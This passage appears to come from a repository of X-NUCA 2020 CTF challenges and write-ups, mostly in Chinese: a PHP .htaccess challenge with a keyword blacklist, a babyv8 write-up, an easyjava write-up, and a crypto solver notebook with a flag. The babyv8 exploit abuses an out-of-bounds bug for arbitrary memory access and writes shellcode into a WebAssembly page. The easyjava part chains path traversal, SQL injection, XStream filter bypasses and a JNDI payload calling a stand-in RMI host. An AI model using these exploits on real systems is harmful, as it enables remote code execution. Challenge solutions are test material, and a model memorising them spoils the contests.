server2019也就是题目环境中仍然生效,想要复现的同学需要使用windows server2019。 12 | 13 | ## htaccess配置 14 | 关注代码部分存在一处比较奇怪的地方,如果文件名不在白名单就输出文件名。 15 | ``` 16 | 125) { 36 | echo "Hacker"; 37 | die(); 38 | } 39 | if(!is_string($filename) || strlen($filename)>10) { 40 | echo "Hacker"; 41 | die(); 42 | } 43 | if(!is_string($token) || strlen($token)!==32) { 44 | echo "Hacker"; 45 | die(); 46 | } 47 | for($i=0;$i<31;$i++) { 48 | if($i !== 10 && stristr($content, chr($i))) { 49 | echo "Hacker"; 50 | die(); 51 | } 52 | } 53 | for($i=127;$i<256;$i++) { 54 | if(stristr($content, chr($i))) { 55 | echo "Hacker"; 56 | die(); 57 | } 58 | } 59 | $content_blacklist = array("session", "html", "type", "upload", "append", "prepend", "log", "script", "error", "include", "zend", "htaccess", "pcre", "\\", "#"); 60 | foreach($content_blacklist as $keywords) { 61 | if(stristr($content, $keywords)) { 62 | echo "Hacker"; 63 | die(); 64 | } 65 | } 66 | $filename_whitelist = array(".htaccess"); 67 | $append_string = "\nhope no unintended\nhope no unintended\nhope no unintended\n"; 68 | if(preg_match("/icq[0-9a-f]{29}/", $token) === 1) { 69 | if (checkToken($token, $content) === true) { 70 | if(array_search($filename, $filename_whitelist) !== FALSE){ 71 | file_put_contents(getcwd() . '/' . $filename, $content . $append_string); 72 | } else { 73 | echo $filename; 74 | } 75 | } else { 76 | echo "use your valid teamtoken in icq, and you only have 30 times submit your payload."; 77 | die(); 78 | } 79 | } else { 80 | echo "Hacker"; 81 | die(); 82 | } 83 | ?> 84 | ``` 85 | php中有一处配置是`output_handler`,你可以指定处理输出流的函数。 86 | ![1.png](./1.png) 87 | 所以当`output_handler`为`file_get_contents`时,即可控制filename为`/flag`,获得flag。 -------------------------------------------------------------------------------- /Web/oooooooldjs/src/app.js: -------------------------------------------------------------------------------- 1 | const express = require("express") 2 | const app = express() 3 | const { 4 | body, 5 | validationResult 6 | } = require('express-validator') 7 | const { 8 | v4: uuidv4, 9 | } = require("uuid") 10 | 11 | const { 12 | Data, 13 | DataRepository 14 | } = require('./entity') 15 | const { 16 | requests 17 | } = require('./util') 18 | const { 19 | originUrl, 20 | host, 21 | port 22 | } = require('./config') 23 | 24 | const dataRepo = new DataRepository() 25 | 26 | dataRepo.C("text", new Data("fake-uuid", "canary")) 27 | dataRepo.C("url", new Data("another-fake-uuid", `${originUrl}/data/fake-uuid`)) 28 | 29 | const middlewares = [ 30 | // should be 31 | body('*').trim(), 32 | body('type').if(body('type').exists()).bail().isIn(['url', 'text']) 33 | .withMessage("type must be `url` or `text`"), 34 | body('block').if(body('type').exists()).notEmpty() 35 | .withMessage("no `block` content").bail() 36 | .if(body('type').isIn(['url'])).isURL({ 37 | require_tld: false 38 | }) 39 | .custom((value, { 40 | req 41 | }) => new URL(value).host === host) 42 | .withMessage("invalid url!"), 43 | (req, res, next) => { 44 | const errors = validationResult(req) 45 | if (!errors.isEmpty()) { 46 | return res.status(400).json({ 47 | errors: errors.array() 48 | }) 49 | } 50 | next() 51 | } 52 | ] 53 | 54 | app.use(express.urlencoded({ 55 | extended: true 56 | })); 57 | app.use(express.json()) 58 | app.use(middlewares) 59 | 60 | app.get("/data/:id", async (req, res) => { 61 | const id = req.params.id 62 | const result = dataRepo.R(id) 63 | let ret 64 | 65 | if (!result) { 66 | return res.status(404).send({ 67 | success: 'false', 68 | message: 'data not found', 69 | }) 70 | } else { 71 | if (result[0] === 'url') { 72 | console.log(result) 73 | ret = await requests(result[1].block, "GET") 74 | } else { 75 | ret = result[1].block 76 | } 77 | return res.status(200).send({ 78 | success: "true", 79 | message: "data found", 80 | data: ret, 81 | }) 82 | } 83 | }) 84 | 85 | app.get("/", (req, res) => { 86 | console.log(Object.prototype) 87 | console.log(req.body) 88 | return res.status(200).send({ 89 | success: "true", 90 | message: "It works!", 91 | data: dataRepo 92 | }); 93 | }); 94 | 95 | app.post("/data", (req, res) => { 96 | const type = req.body.type ? req.body.type : 'text' 97 | const block = req.body.block ? req.body.block : '' 98 | const data = new Data(uuidv4(), block) 99 | dataRepo.C(type, data) 100 | return res.status(201).send({ 101 | success: "true", 102 | message: "data added!", 103 | data, 104 | }) 105 | }) 106 | 107 | app.put("/data/:id", (req, res) => { 108 | const id = req.params.id 109 | const block = req.body.block ? req.body.block : '' 110 | const data = new Data(id, block) 111 | const updated = dataRepo.U(id, data) 112 | 113 | return res.status(201).send({ 114 | success: 'true', 115 | message: 'updated data', 116 | updated 117 | }) 118 | }) 119 | 120 | app.delete("/data/:id", (req, res) => { 121 | const id = req.params.id 122 | 123 | dataRepo.D(id) 124 | return res.status(201).send({ 125 | success: 'true', 126 | message: 'deleted' 127 | }); 128 | }) 129 | 130 | 131 | app.listen(port, () => { 132 | console.log(`server listening on ${port}`); 133 | }); 134 | -------------------------------------------------------------------------------- /Pwn/babyv8/writeup.md: -------------------------------------------------------------------------------- 1 | # babyv8 wp 2 | 3 | 这是一道非常简单的v8 pwn,patch只有一行,在CodeStubAssembler::BuildAppendJSArray中可以看到Increment(&var_length);变成了Increment(&var_length, 3);所以在arr.push操作的时候length会+3,所以可以构造oob,但是如果在length>elements length的时候会触发array的fix,会增加element的长度。 4 | 5 | 稍微了解一下v8的数据结构的内存布局就可以发现在没有进行gc的时候elements是在array object的低地址处,所以这个oob刚好可以修改array object的length和elements addr,这样可以构造在特定区域的任意地址读写(因为8.0后是Pointer Compression),然后通过内存布局修改dataview的backingstore来构造任意地址读写,最后在wasm的rwx段写shellcode就行,因为远程没给交互,所以需要shellcode执行flag_printer。 6 | 7 | 总而言之这是个非常简单的v8题目,如果没接触过的新人我也预计的是4-6个小时就可以做出来,只需要学习v8的object在内存的布局就行。 8 | 9 | 下面是我的exp: 10 | 11 | ```javascript 12 | class Memory{ 13 | constructor(){ 14 | this.buf = new ArrayBuffer(8); 15 | this.f64 = new Float64Array(this.buf); 16 | this.u32 = new Uint32Array(this.buf); 17 | this.bytes = new Uint8Array(this.buf); 18 | } 19 | d2u(val){ 20 | this.f64[0] = val; 21 | let tmp = Array.from(this.u32); 22 | return tmp[1] * 0x100000000 + tmp[0]; 23 | } 24 | u2d(val){ 25 | let tmp = []; 26 | tmp[0] = parseInt(val % 0x100000000); 27 | tmp[1] = parseInt((val - tmp[0]) / 0x100000000); 28 | this.u32.set(tmp); 29 | return this.f64[0]; 30 | } 31 | hex(val){ 32 | return val.toString(16).padStart(16, "0"); 33 | } 34 | } 35 | var mem = new Memory(); 36 | 37 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 38 | var wasmModule = new WebAssembly.Module(wasmCode); 39 | var wasmInstance = new WebAssembly.Instance(wasmModule); 40 | var f = wasmInstance.exports.main; 41 | 42 | var a1 = [1.1, 2.2, 3.3]; 43 | var a = [1.1, 2.2, 3.3]; 44 | var b = [f,f]; 45 | var buf = new ArrayBuffer(0x200); 46 | var dv = new DataView(buf); 47 | a1.pop(); 48 | a1.push(3.3); 49 | a1_addr = mem.d2u(a1[4]) & 0xFFFFFFFF; 50 | a1[4] = mem.u2d(0x10000000000+a1_addr); 51 | 52 | function leak32(addr, offset=0){ 53 | a1[0xa] = mem.u2d(0x10000000000+addr); 54 | //print('0x' + mem.d2u(a[offset]).toString(16)); 55 | return (mem.d2u(a[offset]) - (mem.d2u(a[offset]) & 0xFFFFFFFF)) / 0x100000000; 56 | } 57 | 58 | function leak64(addr, offset=0){ 59 | a1[0xa] = mem.u2d(0x10000000000+addr); 60 | //print('0x' + mem.d2u(a[offset]).toString(16)); 61 | return mem.d2u(a[offset]); 62 | } 63 | 64 | a.pop(); 65 | //%SystemBreak(); 66 | a.push(3.3); 67 | print('0x'+ mem.d2u(a[4]).toString(16)); 68 | elements_addr = mem.d2u(a[4]) & 0xFFFFFFFF; 69 | print('elements addr: 0x' + elements_addr.toString(16)); 70 | a[4] = mem.u2d(0x10000000000+elements_addr); 71 | 72 | func_addr = (mem.d2u(a[0x6]) - (mem.d2u(a[0x6]) & 0xFFFFFFFF)) / 0x100000000; 73 | print('func_addr: 0x'+ func_addr.toString(16)); 74 | backing_store = mem.d2u(a[0x14]) 75 | print('backing store: 0x'+ backing_store.toString(16)); 76 | print('backing store(): 0x'+ (backing_store * 0x1000).toString(16)); 77 | 78 | 79 | //%SystemBreak(); 80 | //leak rwx 81 | //function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr 82 | shared_info_addr = leak32(func_addr); 83 | print('shared_info_addr: 0x' + shared_info_addr.toString(16)); 84 | WasmExportedFunctionData = leak32(shared_info_addr-0x20, 3); 85 | print('WasmExportedFunctionData: 0x' + WasmExportedFunctionData.toString(16)); 86 | instance_addr = leak32(WasmExportedFunctionData-0x4); 87 | print('instance_addr: 0x' + instance_addr.toString(16)); 88 | rwx_addr = leak64(instance_addr+0x60); 89 | print('rwx_addr: 0x' + rwx_addr.toString(16)); 90 | 91 | //write backing store 92 | a1[0xa] = mem.u2d(0x10000000000+elements_addr+4); 93 | a[0xb] = mem.u2d(rwx_addr); 94 | //let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05]; 95 | let sc = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 115, 104, 111, 117, 100, 115, 1, 1, 72, 49, 4, 36, 72, 184, 46, 47, 102, 108, 97, 103, 95, 112, 80, 72, 137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5] 96 | for(var i = 0; i 6 | 7 | 具体的考点如下: 8 | 9 | 1. 任意文件下载,/proc/self/fd的利用 10 | 2. mybatis缓存反序列化漏洞,[CVE-2020-26945](https://nvd.nist.gov/vuln/detail/CVE-2020-26945) 11 | 3. xstream反序列化利用,简单正则waf绕过,类比fastjson unicode编码绕过 12 | 4. 高版本java版本下的jndi利用 13 | 14 | ## 0x01 预期题解 15 | 16 | 题目本身设计的功能点比较少,主要是jpg图片签名,下载和验签功能 17 | 18 | ### #1 源码获取 19 | 20 | 这里首先关注下载的接口 21 | 22 | ![image-20201102151033808](xnuca-2020-easyjava/image-20201102151033808.png) 23 | 24 | 在返回包里存在Check字段,于get请求中的sign字段是一样的内容,尝试修改filename为`../../../../../../etc/passwd` 25 | 26 | ![image-20201102151347649](xnuca-2020-easyjava/image-20201102151347649.png) 27 | 28 | ![image-20201102151503000](xnuca-2020-easyjava/image-20201102151503000.png) 29 | 30 | check字段返回了不一样的内容,这里判断可能sign值用于校验,通过才返回结果,那么修改sign字段,即可获取到当前请求的内容。接下来,由于是linux系统,我们可以通过暴力fd值来获取到当前运行的jar包内容,如`/proc/self/fd/4`来获取jar包 31 | 32 | ### #2 mybatis SQL注入 33 | 34 | 拿到jar反编译后先看pom,其中比较容易关注的主要是两个jar包,一个是mybatis的springboot包,另一个是xstream的包 35 | 36 | ![image-20201102152300777](xnuca-2020-easyjava/image-20201102152300777.png) 37 | 38 | 如果关注cve动态的话,可以知道最近刚出的漏洞[CVE-2020-26945](https://nvd.nist.gov/vuln/detail/CVE-2020-26945),虽然mybatis的版本已经进行了升级,但spring的mybatis包中的mybatis依赖并没有升级,仍然是3.5.5版本,再确定一下,是否启用了cache 39 | 40 | ![image-20201102152617085](xnuca-2020-easyjava/image-20201102152617085.png) 41 | 42 | 从mapper对应的xml配置里可以看到开启了cache配置,并且`findByHashAndSecret`接口存在注入。 43 | 44 | 到这里就简单了,我们只要找一下,调用点确认是否可控,即可确认是否存在注入 45 | 46 | `nese.game.controller.CheckController`存在链路,从文件中获取内容,并进行数据库查询,所以这边我们能达到一个注入的效果 47 | 48 | ![image-20201102153339331](xnuca-2020-easyjava/image-20201102153339331.png) 49 | 50 | ### #3 mybatis二级缓存反序列化漏洞 51 | 52 | 接下来,继续进行审计,关注一下另一个点xstream包的安全问题。在`nese.game.entity.Picture`对象上,调用了xstream的fromXML函数,并且在`readObject`函数处对字符串类型的xml进行还原 53 | 54 | ![image-20201102154259827](xnuca-2020-easyjava/image-20201102154259827.png) 55 | 56 | 到这里就比较清晰了,我们需要利用前面发现的SQL注入点,进行注入构造任意的xml数据 57 | 58 | 并利用mybatis的默认二级缓存使用serialization的原理(如下图官方文档所示),来触发xstream反序列化漏洞 59 | 60 | ![image-20201102155335403](xnuca-2020-easyjava/image-20201102155335403.png) 61 | 62 | 接下来,就根据题目的签名实现,来注入任意数据,以如下代码为例,生成存在注入语句的jpg文件 63 | 64 | ``` 65 | try{ 66 | String payload = "evil xml"; 67 | File file = new File("xxxx.jpg"); 68 | File dest = new File("xxxx.jpg"); 69 | InputStream inputStream = new FileInputStream(file); 70 | byte[] bytes = new byte[(int)file.length()]; 71 | inputStream.read(bytes); 72 | InputStream destInputStream = new FileInputStream(dest); 73 | String secret="' union select 13,'wh1t3p1g','wh1t3p1g','"+payload+"','aed2bebb781ae32d94c5e67185e35149"; 74 | String hash = "aed2bebb781ae32d94c5e67185e35149"; 75 | ImageUtil.transferTo(inputStream, bytes, null, dest, secret, hash); 76 | }catch (Exception e){ 77 | e.printStackTrace(); 78 | } 79 | ``` 80 | 81 | 提交后可以看到具体的效果,重复提交两次,即可触发xml的反序列化 82 | 83 | ![image-20201102155950724](xnuca-2020-easyjava/image-20201102155950724.png) 84 | 85 | ### #4 XStream正则waf绕过 86 | 87 | 从题目上来看,XStream的实现需要绕过两个点: 88 | 89 | 1. PureJavaReflectionProvider 90 | 91 | PureJavaReflectionProvider不支持不存在无参构造函数的类的还原,以及该类如果是可序列化的,那么它的readObject不能有类属性上的还原。这是因为PureJavaReflectionProvider对于反序列化的操作,并非是一个递归的过程,有空再写这个分析:) 92 | 93 | 2. 正则waf 94 | 95 | 题目并没有遵循XStream官方的类禁用方法,而是采用正则的方式先对待反序列化的xml字符串进行检测,检测通过后再进行反序列化。 96 | 97 | 关于第一个点,比较容易解决,参考marshalsec对于spring jndi利用链的实现,该链符合我说的要求 98 | 99 | 而对于第二个点,这里没有用官方的方法,提示了我们需要对字符串上做些操作来绕过正则waf。我们参考fastjson的`@type`的unicode编码绕过方式,再看看是否对于XStream,也同样存在这种问题? 100 | 101 | 答案是肯定的,介绍一下XStream的编码绕过: 102 | 103 | 1. 针对标签黑名单的绕过 104 | 105 | 以spring jndi利用链为案例 106 | 107 | ```xml 108 | 109 | 110 | ``` 111 | 112 | 当前黑名单为`org[.]springframework`,此时的绕过方法可以为 113 | 114 | ```xml 115 | 116 | 117 | ``` 118 | 119 | 这里的原理在于xstream会对符合格式的16进制做转换 120 | 121 | `com.thoughtworks.xstream.io.xml.AbstractXmlReader#unescapeXmlName` 122 | 123 | `com.thoughtworks.xstream.io.xml.XmlFriendlyNameCoder#decodeName` 124 | 125 | ```java 126 | for (; i < length; i++ ) { 127 | char c = name.charAt(i); 128 | if (c == dollarReplacementFirstChar && name.startsWith(dollarReplacement, i)) { 129 | i += dollarReplacement.length() - 1; 130 | result.append('$'); 131 | } else if (c == hexPrefixFirstChar && name.startsWith(hexPrefix, i)) { 132 | // 处理hex格式的标签内容,其正确格式为_.xxxx 133 | i += hexPrefix.length(); 134 | c = (char)Integer.parseInt(name.substring(i, i + 4), 16); 135 | i += 3; 136 | result.append(c); 137 | } else if (c == escapeReplacementFirstChar 138 | && name.startsWith(escapeCharReplacement, i)) { 139 | i += escapeCharReplacement.length() - 1; 140 | result.append('_'); 141 | } else { 142 | result.append(c); 143 | } 144 | } 145 | ``` 146 | 147 | 从dollarReplacement,hexPrefix,escapeCharReplacement三者来看,最终不影响我们绕过的为16进制的处理`_.xxxx`转换成实际的字符。 148 | 149 | 2. 针对标签属性内容的绕过 150 | 151 | 案例 152 | 153 | ```xml 154 | 155 | 156 | ``` 157 | 158 | 此时的黑名单为`custom`,那么绕过方法可以为 159 | 160 | ```xml 161 | 162 | 163 | ``` 164 | 165 | 原理为读取属性内容时,会做符合要求的转化 166 | 167 | `com.sun.org.apache.xerces.internal.impl.XMLScanner scanAttributeValue` 168 | 169 | 该函数内容比较多,不贴出来了,从883行到942行均在处理html编码格式,并将其转化为实际的字符 170 | 171 | 所以这里`o`将转化为`o` 172 | 173 | 3. 针对标签内容的绕过 174 | 175 | 案例 176 | 177 | ```xml 178 | 179 | ldap://xxxxx 180 | 181 | ``` 182 | 183 | 此时的黑名单为`ldap://`,可以用如下的几种方法绕过 184 | 185 | **a. html编码** 186 | 187 | 这部分在提取数据时,同样对html编码的内容做了转化 188 | 189 | ```xml 190 | 191 | ldap://xxxxx 192 | 193 | ``` 194 | 195 | 这部分跟上面`标签属性内容的绕过`的一样,不再叙述 196 | 197 | **b. 注释的方法** 198 | 199 | 在处理实际的标签内容时,遇到注视内容将被忽略掉 200 | 201 | ```xml 202 | 203 | ldap://xxxxx 204 | 205 | ``` 206 | 207 | `com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter#unmarshallField` 208 | 209 | `com.thoughtworks.xstream.io.xml.AbstractPullReader#getValue` 210 | 211 | ```java 212 | public String getValue() { 213 | 214 | // ... 215 | 216 | Event event = readEvent(); 217 | while (true) { 218 | if (event.type == TEXT) { // 处理字符 219 | String text = event.value; 220 | if (text != null && text.length() > 0) { 221 | if (last == null) { 222 | last = text; 223 | } else { 224 | if (buffer == null) { 225 | buffer = new StringBuffer(last); 226 | } 227 | buffer.append(text); 228 | } 229 | } 230 | } else if (event.type != COMMENT) {// 非字符 且 不是注释时 跳出 231 | break; 232 | } 233 | event = readEvent(); // 继续 234 | } 235 | reset(); 236 | if (buffer != null) { 237 | return buffer.toString(); 238 | } else { 239 | return (last == null) ? "" : last; 240 | } 241 | } 242 | ``` 243 | 244 | 从前面的代码中来看,这里主要在对字符进行拼接,并且遇到注释时将跳过,所以如果在内容中添上注释也能达到绕过的效果 245 | 246 | 经过上面XStream类型解析分析,我们可以构造出绕过正则waf的payload来 247 | 248 | ### #5 高版本JNDI注入的利用 249 | 250 | 在生成具体的exp后,可以对外发起JNDI连接,到这一步,我们需要去判断其为高版本jdk还是低版本的jdk。如果是低版本的jdk,我们可以直接利用codebase加载任意的class来达到命令执行的效果,而高版本的jdk只能依赖本地ObjectFactory或本地利用链来进行攻击,参考[KINGX的文章](https://paper.seebug.org/942/)。 251 | 252 | 而本题考查的为高版本jdk环境下的利用,那么就有两种选择,一为本地利用链触发命令来执行,二为本地ObjectFactory达成代码执行。 253 | 254 | 从题目的依赖来看,我们并不能找到一个合适的本地利用链来达成利用,那么考察的就是第二个方法的利用了。因为题目用的是spring boot embedded tomcat,所以我们能直接利用KINGX师傅文章中提到的方法,具体的利用过程不提了,可以用我的ysomap来达成命令执行的效果 255 | 256 | ![image-20201102164333062](xnuca-2020-easyjava/image-20201102164333062.png) 257 | 258 | ## 0x02 exp 259 | 260 | [exp.java](https://github.com/NeSE-Team/XNUCA2020Qualifier/blob/main/Web/easyjava/ImageUtil.java) -------------------------------------------------------------------------------- /Web/easyjava/ImageUtil.java: -------------------------------------------------------------------------------- 1 | package nese.game.util; 2 | 3 | import nese.game.data.ExifInfo; 4 | import org.apache.commons.imaging.*; 5 | import org.apache.commons.imaging.common.ImageMetadata; 6 | import org.apache.commons.imaging.common.RationalNumber; 7 | import org.apache.commons.imaging.common.bytesource.ByteSourceFile; 8 | import org.apache.commons.imaging.formats.jpeg.JpegImageMetadata; 9 | import org.apache.commons.imaging.formats.jpeg.exif.ExifRewriter; 10 | import org.apache.commons.imaging.formats.tiff.TiffField; 11 | import org.apache.commons.imaging.formats.tiff.TiffImageMetadata; 12 | import org.apache.commons.imaging.formats.tiff.constants.ExifTagConstants; 13 | import org.apache.commons.imaging.formats.tiff.constants.GpsTagConstants; 14 | import org.apache.commons.imaging.formats.tiff.constants.TiffTagConstants; 15 | import org.apache.commons.imaging.formats.tiff.taginfos.TagInfo; 16 | import org.apache.commons.imaging.formats.tiff.write.TiffOutputDirectory; 17 | import org.apache.commons.imaging.formats.tiff.write.TiffOutputSet; 18 | import org.springframework.web.multipart.MultipartFile; 19 | 20 | import java.awt.image.BufferedImage; 21 | import java.io.*; 22 | import java.util.Base64; 23 | import java.util.HashMap; 24 | import java.util.List; 25 | import java.util.Map; 26 | 27 | /** 28 | * @author wh1t3P1g 29 | * @since 2020/10/15 30 | */ 31 | public class ImageUtil { 32 | 33 | public static ExifInfo readMetaData(InputStream file, String filename) throws IOException, ImageReadException { 34 | final ImageMetadata metadata = Imaging.getMetadata(file, filename); 35 | if (metadata instanceof JpegImageMetadata) { 36 | final JpegImageMetadata jpegMetadata = (JpegImageMetadata) metadata; 37 | return ExifInfo.parse(jpegMetadata); 38 | } 39 | return null; 40 | } 41 | 42 | public static void transferTo(InputStream file, byte[] jpegbytes, String filename, File dest, String secret, String hash) throws IOException, ImageReadException, ImageWriteException { 43 | final ImageMetadata metadata = Imaging.getMetadata(jpegbytes); 44 | TiffOutputSet outputSet = null; 45 | 46 | // note that metadata might be null if no metadata is found. 47 | final JpegImageMetadata jpegMetadata = (JpegImageMetadata) metadata; 48 | if (null != jpegMetadata) { 49 | // note that exif might be null if no Exif metadata is found. 50 | final TiffImageMetadata exif = jpegMetadata.getExif(); 51 | 52 | if (null != exif) { 53 | // TiffImageMetadata class is immutable (read-only). 54 | // TiffOutputSet class represents the Exif data to write. 55 | // 56 | // Usually, we want to update existing Exif metadata by 57 | // changing 58 | // the values of a few fields, or adding a field. 59 | // In these cases, it is easiest to use getOutputSet() to 60 | // start with a "copy" of the fields read from the image. 61 | outputSet = exif.getOutputSet(); 62 | } 63 | } 64 | 65 | // if file does not contain any exif metadata, we create an empty 66 | // set of exif metadata. Otherwise, we keep all of the other 67 | // existing tags. 68 | if (null == outputSet) { 69 | outputSet = new TiffOutputSet(); 70 | } 71 | 72 | final TiffOutputDirectory exifDirectory = outputSet.getOrCreateExifDirectory(); 73 | // make sure to remove old value if present (this method will 74 | // not fail if the tag does not exist). 75 | exifDirectory.removeField(TiffTagConstants.TIFF_TAG_MAKE); 76 | exifDirectory.add(TiffTagConstants.TIFF_TAG_MAKE, "Signed By NeSE"); 77 | 78 | exifDirectory.removeField(TiffTagConstants.TIFF_TAG_IMAGE_DESCRIPTION); 79 | exifDirectory.add(TiffTagConstants.TIFF_TAG_IMAGE_DESCRIPTION, 80 | Base64.getEncoder().encodeToString(secret.getBytes()) +":"+hash); 81 | try (FileOutputStream fos = new FileOutputStream(dest); 82 | OutputStream os = new BufferedOutputStream(fos)) { 83 | new ExifRewriter().updateExifMetadataLossless(jpegbytes, os, outputSet); 84 | } 85 | 86 | } 87 | 88 | 89 | public static void main(String[] args) { 90 | String target = "xxxx:1099/evilObj"; // rmi reference 地址 91 | String payload = "\n" + 92 | " \n" + 93 | " \n" + 94 | " \n" + 95 | " \n" + 96 | " rmi://"+target+"\n" + 97 | " \n" + 98 | " \n" + 99 | " \n" + 100 | " \n" + 101 | " \n" + 102 | " true\n" + 103 | " \n" + 104 | " rmi://"+target+"\n" + 105 | " \n" + 106 | " \n" + 107 | " \n" + 108 | " \n" + 109 | " \n" + 110 | " \n" + 111 | " \n" + 112 | " \n" + 113 | " \n" + 114 | " \n" + 115 | " \n" + 116 | " \n" + 117 | " \n" + 118 | " \n" + 119 | " \n" + 120 | " \n" + 121 | " \n" + 122 | " \n" + 123 | " rmi://"+target+"\n" + 124 | " \n" + 125 | " \n" + 126 | " \n" + 127 | " \n" + 128 | " \n" + 129 | " \n" + 130 | " \n" + 131 | " \n" + 132 | " \n" + 133 | " \n" + 134 | " \n" + 135 | ""; 136 | try{ 137 | File file = new File("/Users/wh1t3P1g/Downloads/b5a676b33552ecbe793c9a409b196493.jpg"); 138 | File dest = new File("/Users/wh1t3P1g/Downloads/b5a676b33552ecbe793c9a409b196493.jpg"); 139 | InputStream inputStream = new FileInputStream(file); 140 | byte[] bytes = new byte[(int)file.length()]; 141 | inputStream.read(bytes); 142 | InputStream destInputStream = new FileInputStream(dest); 143 | String secret="' union select 13,'wh1t3p1g','wh1t3p1g','"+payload+"','aed2bebb781ae32d94c5e67185e35149"; 144 | String hash = "aed2bebb781ae32d94c5e67185e35149"; 145 | ImageUtil.transferTo(inputStream, bytes, null, dest, secret, hash); 146 | }catch (Exception e){ 147 | e.printStackTrace(); 148 | } 149 | 150 | } 151 | } 152 | -------------------------------------------------------------------------------- /Crypto/weird/weird_writeup.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": {}, 6 | "source": [ 7 | "This challenge implements a KMOV cryptosystem based on twisted Edwards curve (see [[1]](#1)), the vulnerablity comes from the generation of the public exponent $e$ parameter, here $e$ satisfies the equation:\n", 8 | "\n", 9 | "$$ex+(p + 1)(q + 1)y = z$$\n", 10 | "\n", 11 | "where $x$, $y$ and $z$ satisfy:\n", 12 | "\n", 13 | "$$xy < \\frac{\\sqrt{2N}}{12} \\quad {\\rm and} \\quad \\left|z \\right| < \\frac{(p - q)N^{0.21}y}{3(p + q)}$$\n", 14 | "\n", 15 | "In this case, we can use Diophantine approximations to find $x$ and $y$ among the convergents of the continued fraction expansion of $\\frac{e}{N}$ (see [[2]](#2), Theorem 1, 2), after finding $x$ and $y$, we can get an approximation $\\tilde{p}$ of $p$ satisfying $|p - \\tilde{p}| < N^{0.21}$, which leads to the factorization of $N$ by using Coppersmith's method for finding small roots of modular polynomial equations (see [[2]](#2), Theorem 4).\n", 16 | "\n", 17 | "After that, we can get the private key of this challenge, the only thing left is to figure out that the encryption process is just computing a scalar multiplication on a twisted Edwards curve, since we have already got the private key, we can just use it to decrypt the ciphertext, however, the method used here to compute scalar multiplication is through repeated addition, this is a fully exponential approach and it runs too slow, so that we can simply use the double-and-add algorithm to speed up this process.\n", 18 | "\n", 19 | "Here is my final solver:" 20 | ] 21 | }, 22 | { 23 | "cell_type": "code", 24 | "execution_count": 1, 25 | "metadata": {}, 26 | "outputs": [ 27 | { 28 | "name": "stdout", 29 | "output_type": "stream", 30 | "text": [ 31 | "b'X-NUCA{Youve_Forg0tt3n_th3_t4ste_0f_Rea1_h0ney_6f36940f714710af}'\n" 32 | ] 33 | } 34 | ], 35 | "source": [ 36 | "#!/usr/bin/env sage\n", 37 | "\n", 38 | "def on_curve(C, P):\n", 39 | " a, d, p = C\n", 40 | " x, y = P\n", 41 | " return (a*x**2 + y**2 - d*x**2*y**2) % p == 1\n", 42 | "\n", 43 | "def point_add(C, P, Q):\n", 44 | " a, d, p = C\n", 45 | " x1, y1 = P\n", 46 | " x2, y2 = Q\n", 47 | " assert on_curve(C, P) and on_curve(C, Q)\n", 48 | " x3 = (x1 * y2 + y1 * x2) * inverse_mod(1 + d * x1 * x2 * y1 * y2, p) % p\n", 49 | " y3 = (y1 * y2 - a * x1 * x2) * inverse_mod(1 - d * x1 * x2 * y1 * y2, p) % p\n", 50 | " return (int(x3), int(y3))\n", 51 | "\n", 52 | "def point_mul(C, P, s):\n", 53 | " Q = (0, 1)\n", 54 | " while s > 0:\n", 55 | " if s % 2 == 1:\n", 56 | " Q = point_add(C, Q, P)\n", 57 | " P = point_add(C, P, P)\n", 58 | " s //= 2\n", 59 | " return Q\n", 60 | "\n", 61 | "bits = 1024\n", 62 | "\n", 63 | "'''\n", 64 | "f = open('output.txt', 'rb').read()\n", 65 | "data = f.replace(b'(', b'').replace(b')', b'').split(b'\\n')\n", 66 | "\n", 67 | "e, N = tuple(map(int, data[0].split(b', ')))\n", 68 | "ct = tuple(map(int, data[1].split(b', ')))\n", 69 | "'''\n", 70 | "\n", 71 | "e, N = (288969517294013178236187423377607850772706067194956328319540958788120421760563745859661120809993097599452236235703456953461446476016483100948287481999230043898368061651387268308645842547879026821842863879967704742559469599469159759360184157244907772315674219466971226019794131421405331578417729612598931842872757269134756215101980595515566901217084629217607502582265295755863799167702741408881294579819035951888562668951997777236828957162036234849207438819692480197365737237130918496390340939168630111890207700776894851839829623749822549994705192645373973493114436603297829506747411555800330860323339168875710029679, 6321130275268755691320586594611921079666212146561948694592313061609721619539590734495630218941969050343046016393977582794839173726817429324685098585960482266998399162720208269336303520478867387042992449850962809825380612709067651432344409349798118550026702892042869238047094344883994914342037831757447770321791092478847580639207346027164495372017699282907858775577530313354865815011726710796887715414931577176850854690237886239119894136091932619828539390021389626283175740389396541552356118540397518601098858527880603493380691706649684470530670258670128352699647582718206243920566184954440517665446820063779925391893)\n", 72 | "ct = (5899152272551058285195694254667877221970753694584926104666866605696215068207480540407327508300257676391022109169902014292744666257465490629821382573289737174334198164333033128913955350103258256280828114875165476209826215601196920761915628274301746678705023551051091500407363159529055081261677043206130866838451325794109635288399010815200512702451748093168790121961904783034526572263126354004237323724559882241164587153748688219172626902108911587291552030335170336301818195688699255375043513696525422124055880380071075595317183172843771015029292369558240259547938684717895057447152729328016698107789678823563841271755, 253027286530960212859400305369275200777004645361154014614791278682230897619117833798134983197915876185668102195590667437488411251835330785944874517235915807926715611143830896296709467978143690346677123639363900536537534596995622179904587739684155397043547262126131676366948937690378306959846311626889534352806134472610026603322329394769864728875293696851590640974817297099985799243285824842399573006841275494668451690794643886677303573329060084436896592291515021246248961538322485059619863786362159459122242131918702862396595818404578595841492379025543989260901540257216728185425462070297720884398220421012139424567)\n", 73 | "\n", 74 | "res = [(i.denom(), i.numer()) for i in 